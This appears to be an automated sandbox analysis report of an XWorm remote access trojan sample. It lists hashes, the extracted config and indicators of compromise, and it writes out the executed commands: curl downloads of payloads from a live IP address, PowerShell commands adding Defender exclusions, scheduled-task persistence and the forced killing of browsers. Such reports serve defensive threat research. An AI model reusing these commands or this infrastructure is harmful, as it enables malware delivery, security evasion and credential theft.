xworm | 2a0ac2b38c51d764422f55d55a0bca58be786c10b0b1386c5dce3055894c0ef2

Analysis

max time kernel
286s
max time network
303s
platform
windows10-2004_x64
resource
win10v2004-20240226-en
resource tags

arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
submitted
22-05-2024 21:27

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General

Target

grabberupdate.exe
Size

87KB
MD5

ab378d6539627c52dbfc272c83eb420c
SHA1

039060f0fdefbe0a62147a7bbad9b1a526a78d61
SHA256

2a0ac2b38c51d764422f55d55a0bca58be786c10b0b1386c5dce3055894c0ef2
SHA512

afe3be5f89ad67e2c4440d44c6ed890853eecb6cf34faed20d61ae49f30fa30a5cc390393b3ef4609a34a2121b6831cacf00ee6aa62c268e0b9fce0223bb0222
SSDEEP

1536:L7fPGykbOqjoHm4pICdfkLtAfupcWX50MxFY+yIOlnToIfNxFOy:Hq6+ouCpk2mpcWJ0r+QNTBfNZ

Score

10^/10

xworm execution persistence rat spyware stealer trojan

Malware Config

Extracted

Family

xworm

Attributes

Install_directory
%AppData%
install_file
wlms.exe
pastebin_url
https://pastebin.com/raw/Xuc6dzua

Signatures

Detect Xworm Payload 4 IoCs

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Local\Temp\wlms.exe	family_xworm
behavioral1/memory/3140-7-0x0000000000170000-0x0000000000186000-memory.dmp	family_xworm
C:\Users\Admin\Desktop\rm.exe	family_xworm
behavioral1/memory/3488-95-0x0000000000490000-0x00000000004A6000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm

Command and Scripting Interpreter: PowerShell 1 TTPs 8 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

pid	process
208	powershell.exe
3776	powershell.exe
4604	powershell.exe
4292	powershell.exe
32	powershell.exe
1860	powershell.exe
1444	powershell.exe
1712	powershell.exe

Downloads MZ/PE file

Checks computer location settings 2 TTPs 7 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

grabberupdate.exegrabberupdate.exegrabber.exegrabber.exerm.exegrabberupdate.exewlms.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\Control Panel\International\Geo\Nation	grabberupdate.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\Control Panel\International\Geo\Nation	grabberupdate.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\Control Panel\International\Geo\Nation	grabber.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\Control Panel\International\Geo\Nation	grabber.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\Control Panel\International\Geo\Nation	rm.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\Control Panel\International\Geo\Nation	grabberupdate.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\Control Panel\International\Geo\Nation	wlms.exe

Executes dropped EXE 15 IoCs

Processes:

wlms.exegrabber.exegrabber.exewlms.exeram.exerm.exewlms.exerm.exewlms.exewlms.exewinlogon.exewinlogon.exewlms.exewinlogon.exewlms.exe

pid	process
3140	wlms.exe
4780	grabber.exe
1712	grabber.exe
2220	wlms.exe
2184	ram.exe
3488	rm.exe
1104	wlms.exe
3328	rm.exe
544	wlms.exe
2392	wlms.exe
4092	winlogon.exe
3576	winlogon.exe
3344	wlms.exe
2304	winlogon.exe
1012	wlms.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

wlms.exerm.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\wlms = "C:\\Users\\Admin\\AppData\\Roaming\\wlms.exe"	wlms.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\winlogon = "C:\\ProgramData\\winlogon.exe"	rm.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service
T1102

Processes:

flow ioc

64 pastebin.com
85 pastebin.com
63 pastebin.com
Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

60 ip-api.com
83 ip-api.com
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task/Job
T1053

Processes:

schtasks.exeschtasks.exe

pid process

1960 schtasks.exe
4896 schtasks.exe

flow	ioc
64	pastebin.com
85	pastebin.com
63	pastebin.com

flow	ioc
60	ip-api.com
83	ip-api.com

pid	process
1960	schtasks.exe
4896	schtasks.exe

Kills process with taskkill 15 IoCs

evasion

Processes:

taskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exe

pid	process
1812	taskkill.exe
4492	taskkill.exe
1088	taskkill.exe
4724	taskkill.exe
2204	taskkill.exe
1988	taskkill.exe
380	taskkill.exe
3488	taskkill.exe
4656	taskkill.exe
2204	taskkill.exe
3292	taskkill.exe
5016	taskkill.exe
3440	taskkill.exe
2900	taskkill.exe
1988	taskkill.exe

Suspicious behavior: EnumeratesProcesses 24 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exewlms.exepowershell.exepowershell.exepowershell.exepowershell.exerm.exe

pid	process
32	powershell.exe
32	powershell.exe
32	powershell.exe
1860	powershell.exe
1860	powershell.exe
1860	powershell.exe
1444	powershell.exe
1444	powershell.exe
1444	powershell.exe
1712	powershell.exe
1712	powershell.exe
1712	powershell.exe
3140	wlms.exe
3140	wlms.exe
208	powershell.exe
208	powershell.exe
208	powershell.exe
3776	powershell.exe
3776	powershell.exe
4604	powershell.exe
4604	powershell.exe
4292	powershell.exe
4292	powershell.exe
3488	rm.exe

Suspicious use of AdjustPrivilegeToken 36 IoCs

Processes:

wlms.exepowershell.exepowershell.exepowershell.exepowershell.exewlms.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exerm.exewlms.exepowershell.exepowershell.exewlms.exerm.exepowershell.exepowershell.exewlms.exewinlogon.exewinlogon.exewlms.exewinlogon.exewlms.exe

description	pid	process
Token: SeDebugPrivilege	3140	wlms.exe
Token: SeDebugPrivilege	32	powershell.exe
Token: SeDebugPrivilege	1860	powershell.exe
Token: SeDebugPrivilege	1444	powershell.exe
Token: SeDebugPrivilege	1712	powershell.exe
Token: SeDebugPrivilege	2220	wlms.exe
Token: SeDebugPrivilege	3292	taskkill.exe
Token: SeDebugPrivilege	1812	taskkill.exe
Token: SeDebugPrivilege	2204	taskkill.exe
Token: SeDebugPrivilege	1988	taskkill.exe
Token: SeDebugPrivilege	380	taskkill.exe
Token: SeDebugPrivilege	3488	taskkill.exe
Token: SeDebugPrivilege	4492	taskkill.exe
Token: SeDebugPrivilege	5016	taskkill.exe
Token: SeDebugPrivilege	3440	taskkill.exe
Token: SeDebugPrivilege	4656	taskkill.exe
Token: SeDebugPrivilege	2900	taskkill.exe
Token: SeDebugPrivilege	1088	taskkill.exe
Token: SeDebugPrivilege	4724	taskkill.exe
Token: SeDebugPrivilege	2204	taskkill.exe
Token: SeDebugPrivilege	1988	taskkill.exe
Token: SeDebugPrivilege	3488	rm.exe
Token: SeDebugPrivilege	1104	wlms.exe
Token: SeDebugPrivilege	208	powershell.exe
Token: SeDebugPrivilege	3776	powershell.exe
Token: SeDebugPrivilege	544	wlms.exe
Token: SeDebugPrivilege	3328	rm.exe
Token: SeDebugPrivilege	4604	powershell.exe
Token: SeDebugPrivilege	4292	powershell.exe
Token: SeDebugPrivilege	3488	rm.exe
Token: SeDebugPrivilege	2392	wlms.exe
Token: SeDebugPrivilege	4092	winlogon.exe
Token: SeDebugPrivilege	3576	winlogon.exe
Token: SeDebugPrivilege	3344	wlms.exe
Token: SeDebugPrivilege	2304	winlogon.exe
Token: SeDebugPrivilege	1012	wlms.exe

Suspicious use of SetWindowsHookEx 2 IoCs

Processes:

wlms.exerm.exe

pid process

3140 wlms.exe
3488 rm.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

grabberupdate.execmd.exewlms.exegrabberupdate.execmd.exegrabberupdate.exegrabber.execmd.execmd.exegrabber.execmd.exeram.exe

description	pid	process	target process
PID 4076 wrote to memory of 4896	4076	grabberupdate.exe	cmd.exe
PID 4076 wrote to memory of 4896	4076	grabberupdate.exe	cmd.exe
PID 4896 wrote to memory of 208	4896	cmd.exe	curl.exe
PID 4896 wrote to memory of 208	4896	cmd.exe	curl.exe
PID 4896 wrote to memory of 2976	4896	cmd.exe	curl.exe
PID 4896 wrote to memory of 2976	4896	cmd.exe	curl.exe
PID 4896 wrote to memory of 3140	4896	cmd.exe	wlms.exe
PID 4896 wrote to memory of 3140	4896	cmd.exe	wlms.exe
PID 3140 wrote to memory of 32	3140	wlms.exe	powershell.exe
PID 3140 wrote to memory of 32	3140	wlms.exe	powershell.exe
PID 3140 wrote to memory of 1860	3140	wlms.exe	powershell.exe
PID 3140 wrote to memory of 1860	3140	wlms.exe	powershell.exe
PID 3140 wrote to memory of 1444	3140	wlms.exe	powershell.exe
PID 3140 wrote to memory of 1444	3140	wlms.exe	powershell.exe
PID 3140 wrote to memory of 1712	3140	wlms.exe	powershell.exe
PID 3140 wrote to memory of 1712	3140	wlms.exe	powershell.exe
PID 3140 wrote to memory of 1960	3140	wlms.exe	schtasks.exe
PID 3140 wrote to memory of 1960	3140	wlms.exe	schtasks.exe
PID 2588 wrote to memory of 4060	2588	grabberupdate.exe	cmd.exe
PID 2588 wrote to memory of 4060	2588	grabberupdate.exe	cmd.exe
PID 4060 wrote to memory of 1112	4060	cmd.exe	curl.exe
PID 4060 wrote to memory of 1112	4060	cmd.exe	curl.exe
PID 4060 wrote to memory of 4032	4060	cmd.exe	curl.exe
PID 4060 wrote to memory of 4032	4060	cmd.exe	curl.exe
PID 4060 wrote to memory of 4780	4060	cmd.exe	grabber.exe
PID 4060 wrote to memory of 4780	4060	cmd.exe	grabber.exe
PID 1708 wrote to memory of 1608	1708	grabberupdate.exe	cmd.exe
PID 1708 wrote to memory of 1608	1708	grabberupdate.exe	cmd.exe
PID 4780 wrote to memory of 4116	4780	grabber.exe	cmd.exe
PID 4780 wrote to memory of 4116	4780	grabber.exe	cmd.exe
PID 1608 wrote to memory of 4368	1608	cmd.exe	curl.exe
PID 1608 wrote to memory of 4368	1608	cmd.exe	curl.exe
PID 4116 wrote to memory of 216	4116	cmd.exe	curl.exe
PID 4116 wrote to memory of 216	4116	cmd.exe	curl.exe
PID 1608 wrote to memory of 1904	1608	cmd.exe	curl.exe
PID 1608 wrote to memory of 1904	1608	cmd.exe	curl.exe
PID 1608 wrote to memory of 1712	1608	cmd.exe	grabber.exe
PID 1608 wrote to memory of 1712	1608	cmd.exe	grabber.exe
PID 1712 wrote to memory of 1716	1712	grabber.exe	cmd.exe
PID 1712 wrote to memory of 1716	1712	grabber.exe	cmd.exe
PID 1716 wrote to memory of 4728	1716	cmd.exe	curl.exe
PID 1716 wrote to memory of 4728	1716	cmd.exe	curl.exe
PID 1716 wrote to memory of 3440	1716	cmd.exe	curl.exe
PID 1716 wrote to memory of 3440	1716	cmd.exe	curl.exe
PID 4116 wrote to memory of 1908	4116	cmd.exe	curl.exe
PID 4116 wrote to memory of 1908	4116	cmd.exe	curl.exe
PID 1716 wrote to memory of 2184	1716	cmd.exe	ram.exe
PID 1716 wrote to memory of 2184	1716	cmd.exe	ram.exe
PID 2184 wrote to memory of 3292	2184	ram.exe	taskkill.exe
PID 2184 wrote to memory of 3292	2184	ram.exe	taskkill.exe
PID 2184 wrote to memory of 1812	2184	ram.exe	taskkill.exe
PID 2184 wrote to memory of 1812	2184	ram.exe	taskkill.exe
PID 2184 wrote to memory of 2204	2184	ram.exe	taskkill.exe
PID 2184 wrote to memory of 2204	2184	ram.exe	taskkill.exe
PID 2184 wrote to memory of 1988	2184	ram.exe	taskkill.exe
PID 2184 wrote to memory of 1988	2184	ram.exe	taskkill.exe
PID 2184 wrote to memory of 380	2184	ram.exe	taskkill.exe
PID 2184 wrote to memory of 380	2184	ram.exe	taskkill.exe
PID 2184 wrote to memory of 3488	2184	ram.exe	taskkill.exe
PID 2184 wrote to memory of 3488	2184	ram.exe	taskkill.exe
PID 2184 wrote to memory of 4492	2184	ram.exe	taskkill.exe
PID 2184 wrote to memory of 4492	2184	ram.exe	taskkill.exe
PID 2184 wrote to memory of 5016	2184	ram.exe	taskkill.exe
PID 2184 wrote to memory of 5016	2184	ram.exe	taskkill.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\grabberupdate.exe
"C:\Users\Admin\AppData\Local\Temp\grabberupdate.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4076

C:\Windows\system32\cmd.exe
"C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\40AE.tmp\40BE.tmp\40BF.bat C:\Users\Admin\AppData\Local\Temp\grabberupdate.exe"
2⤵
- Suspicious use of WriteProcessMemory
PID:4896

C:\Windows\system32\curl.exe
curl -s -o grabber.exe "http://188.212.100.57:54391/download/grabber.exe"
3⤵
PID:208

C:\Windows\system32\curl.exe
curl -s -o wlms.exe "http://188.212.100.57:54391/download/wlms.exe"
3⤵
PID:2976

C:\Users\Admin\AppData\Local\Temp\wlms.exe
wlms.exe
3⤵
- Checks computer location settings
- Executes dropped EXE
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3140

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\wlms.exe'
4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:32

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'wlms.exe'
4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1860

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\wlms.exe'
4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1444

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'wlms.exe'
4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1712

C:\Windows\System32\schtasks.exe
"C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "wlms" /tr "C:\Users\Admin\AppData\Roaming\wlms.exe"
4⤵
- Creates scheduled task(s)
PID:1960

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:5104

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=3956 --field-trial-handle=2656,i,16940681401824032220,151921362336696246,262144 --variations-seed-version /prefetch:8
1⤵
PID:5044

C:\Users\Admin\Desktop\grabberupdate.exe
"C:\Users\Admin\Desktop\grabberupdate.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2588

C:\Windows\system32\cmd.exe
"C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\DE1.tmp\DE2.tmp\DE3.bat C:\Users\Admin\Desktop\grabberupdate.exe"
2⤵
- Suspicious use of WriteProcessMemory
PID:4060

C:\Windows\system32\curl.exe
curl -s -o grabber.exe "http://188.212.100.57:54391/download/grabber.exe"
3⤵
PID:1112

C:\Windows\system32\curl.exe
curl -s -o wlms.exe "http://188.212.100.57:54391/download/wlms.exe"
3⤵
PID:4032

C:\Users\Admin\Desktop\grabber.exe
grabber.exe
3⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:4780

C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\6B33.tmp\6B34.tmp\6B35.bat C:\Users\Admin\Desktop\grabber.exe"
4⤵
- Suspicious use of WriteProcessMemory
PID:4116

C:\Windows\system32\curl.exe
curl -s -o ram.exe http://188.212.100.57:54391/download/shell.exe
5⤵
PID:216

C:\Windows\system32\curl.exe
curl -s -o rm.exe http://188.212.100.57:54391/download/winlogon.exe
5⤵
PID:1908

C:\Users\Admin\Desktop\rm.exe
rm.exe
5⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:3328

C:\Users\Admin\Desktop\wlms.exe
wlms.exe
3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:544

C:\Users\Admin\Desktop\grabberupdate.exe
"C:\Users\Admin\Desktop\grabberupdate.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1708

C:\Windows\system32\cmd.exe
"C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\6AE5.tmp\6AE6.tmp\6AE7.bat C:\Users\Admin\Desktop\grabberupdate.exe"
2⤵
- Suspicious use of WriteProcessMemory
PID:1608

C:\Windows\system32\curl.exe
curl -s -o grabber.exe "http://188.212.100.57:54391/download/grabber.exe"
3⤵
PID:4368

C:\Windows\system32\curl.exe
curl -s -o wlms.exe "http://188.212.100.57:54391/download/wlms.exe"
3⤵
PID:1904

C:\Users\Admin\Desktop\grabber.exe
grabber.exe
3⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:1712

C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\771A.tmp\771B.tmp\771C.bat C:\Users\Admin\Desktop\grabber.exe"
4⤵
- Suspicious use of WriteProcessMemory
PID:1716

C:\Windows\system32\curl.exe
curl -s -o ram.exe http://188.212.100.57:54391/download/shell.exe
5⤵
PID:4728

C:\Windows\system32\curl.exe
curl -s -o rm.exe http://188.212.100.57:54391/download/winlogon.exe
5⤵
PID:3440

C:\Users\Admin\Desktop\ram.exe
ram.exe
5⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:2184

C:\Windows\system32\taskkill.exe
taskkill /F /IM chrome.exe /T
6⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:3292

C:\Windows\system32\taskkill.exe
taskkill /F /IM firefox.exe /T
6⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1812

C:\Windows\system32\taskkill.exe
taskkill /F /IM brave.exe /T
6⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2204

C:\Windows\system32\taskkill.exe
taskkill /F /IM opera.exe /T
6⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1988

C:\Windows\system32\taskkill.exe
taskkill /F /IM kometa.exe /T
6⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:380

C:\Windows\system32\taskkill.exe
taskkill /F /IM orbitum.exe /T
6⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:3488

C:\Windows\system32\taskkill.exe
taskkill /F /IM centbrowser.exe /T
6⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4492

C:\Windows\system32\taskkill.exe
taskkill /F /IM 7star.exe /T
6⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:5016

C:\Windows\system32\taskkill.exe
taskkill /F /IM sputnik.exe /T
6⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:3440

C:\Windows\system32\taskkill.exe
taskkill /F /IM vivaldi.exe /T
6⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4656

C:\Windows\system32\taskkill.exe
taskkill /F /IM epicprivacybrowser.exe /T
6⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2900

C:\Windows\system32\taskkill.exe
taskkill /F /IM msedge.exe /T
6⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1088

C:\Windows\system32\taskkill.exe
taskkill /F /IM uran.exe /T
6⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4724

C:\Windows\system32\taskkill.exe
taskkill /F /IM yandex.exe /T
6⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2204

C:\Windows\system32\taskkill.exe
taskkill /F /IM iridium.exe /T
6⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1988

C:\Users\Admin\Desktop\rm.exe
rm.exe
5⤵
- Checks computer location settings
- Executes dropped EXE
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:3488

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\Desktop\rm.exe'
6⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:208

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'rm.exe'
6⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3776

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\ProgramData\winlogon.exe'
6⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4604

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'winlogon.exe'
6⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4292

C:\Windows\System32\schtasks.exe
"C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "winlogon" /tr "C:\ProgramData\winlogon.exe"
6⤵
- Creates scheduled task(s)
PID:4896

C:\Users\Admin\Desktop\wlms.exe
wlms.exe
3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1104

C:\Users\Admin\AppData\Roaming\wlms.exe
C:\Users\Admin\AppData\Roaming\wlms.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2220

C:\Users\Admin\AppData\Roaming\wlms.exe
C:\Users\Admin\AppData\Roaming\wlms.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2392

C:\ProgramData\winlogon.exe
C:\ProgramData\winlogon.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4092

C:\ProgramData\winlogon.exe
C:\ProgramData\winlogon.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:3576

C:\Users\Admin\AppData\Roaming\wlms.exe
C:\Users\Admin\AppData\Roaming\wlms.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:3344

C:\ProgramData\winlogon.exe
C:\ProgramData\winlogon.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2304

C:\Users\Admin\AppData\Roaming\wlms.exe
C:\Users\Admin\AppData\Roaming\wlms.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1012

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Defense Evasion

Modify Registry

T1112

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\wlms.exe.log
Filesize
654B

MD5
2ff39f6c7249774be85fd60a8f9a245e

SHA1
684ff36b31aedc1e587c8496c02722c6698c1c4e

SHA256
e1b91642d85d98124a6a31f710e137ab7fd90dec30e74a05ab7fcf3b7887dced

SHA512
1d7e8b92ef4afd463d62cfa7e8b9d1799db5bf2a263d3cd7840df2e0a1323d24eb595b5f8eb615c6cb15f9e3a7b4fc99f8dd6a3d34479222e966ec708998aed1

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
944B

MD5
e3b6cc0fbea08a0831f0026a696db8b8

SHA1
4e32202d4700061cfd80d55e42798131c9f530d4

SHA256
3284cae7b82be99d93064390ba071ba4321f3f24dd21515b37b2ca9f31b2e8d5

SHA512
6a06856f360b48c8bc8a15ffb8d7a6604ec357bcb1d0fad5d71a2cb876929a7b67eb40ba4493998ab1bbae8cb71212e124276f27d5c138a135041c27a41a0b7a

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
944B

MD5
65a68df1062af34622552c4f644a5708

SHA1
6f6ecf7b4b635abb0b132d95dac2759dc14b50af

SHA256
718dc2f5f4a6dbb7fab7f3db05bd7f602fb16526caae7084ab46c3ab4e7bad35

SHA512
4e460eb566032942547b58411222dd26ae300a95f83cf5ae6df58ebd28594341123611b348bd4031a33bc7f38307d5cb8fb677bba8c896919e3eee677a104d4d

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
944B

MD5
c08aea9c78561a5f00398a723fdf2925

SHA1
2c880cbb5d02169a86bb9517ce2a0184cb177c6e

SHA256
63d2688b92da4d1bb69980b7998b9be1595dd9e53951434a9414d019c4f825a7

SHA512
d30db2f55bbda7102ffe90520d233355633313dcc77cdb69a26fdbb56e59dd41793def23d69dc5dc3f94c5bd41d3c26b3628886fd2edbed2df0b332e9a21f95c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
944B

MD5
9bf2b1a5d4f6bd85aa4e75d833186aaa

SHA1
44cce8cba6525ba252f6a9253ec10a11d8044788

SHA256
2f17b4ae194794a15897c5241c20bc086cc3d32797dad4a677103f25bd892524

SHA512
f48fe3ca2ee9902bd5e696318aafe95ba0514774ef76b953df77bdb69008a2257cd0ce6784ae05a4e4a9b398cd4977cf55f9a0f8eb8b92625a6256bb9d502379

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
944B

MD5
62623d22bd9e037191765d5083ce16a3
